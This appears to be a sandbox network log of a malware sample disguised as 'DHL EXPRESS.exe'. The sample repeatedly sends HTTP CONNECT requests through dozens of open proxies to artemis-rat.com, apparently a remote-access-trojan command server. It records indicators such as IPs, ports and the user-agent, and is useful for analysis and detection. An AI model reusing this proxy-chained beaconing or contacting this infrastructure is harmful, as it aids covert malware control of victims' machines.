Mar 11, 2024 18:36:52.069768906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.8	49907	104.238.111.107	5484	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.082093954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.206582069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.300328970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.300488949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.300055027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.8	49838	5.252.23.220	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.096370935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.268832922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.269356012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.8	52629	185.82.218.52	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.105479956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.8	54156	177.67.136.241	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.107711077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.8	54145	103.120.6.46	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.118328094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.506227970 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.8	54150	109.194.22.61	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.134759903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.8	54178	104.19.83.128	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.140352011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.294671059 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.8	54149	203.112.134.74	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.144985914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.8	53118	107.181.161.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.167356014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.8	54194	104.16.107.206	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.182975054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.337202072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.8	53819	190.115.7.141	1982	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.264292002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.884042978 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.8	52609	14.56.98.15	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.265100002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.409698009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.8	52627	45.128.135.255	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.265949011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.8	54157	175.183.82.221	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.266772985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.8	49918	5.252.23.249	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.270376921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.409684896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.740379095 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.8	52618	31.211.142.115	8192	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.272660971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.8	52743	200.10.150.115	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.272800922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456260920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.456676006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.456688881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.456262112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.456285000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:40.487591028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:04.487814903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:52.503226042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.8	53863	191.101.80.162	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.281838894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.509741068 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 18:36:55.509757996 CET	270	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 44

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.8	52716	185.104.63.56	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.288165092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456336021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.456696987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.250041008 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.8	54266	172.67.181.37	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.288587093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.443052053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.8	54283	172.67.181.9	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.308816910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.462939024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.8	54185	196.20.125.129	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.310043097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.8	53858	51.250.13.88	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.313616991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456482887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.919737101 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
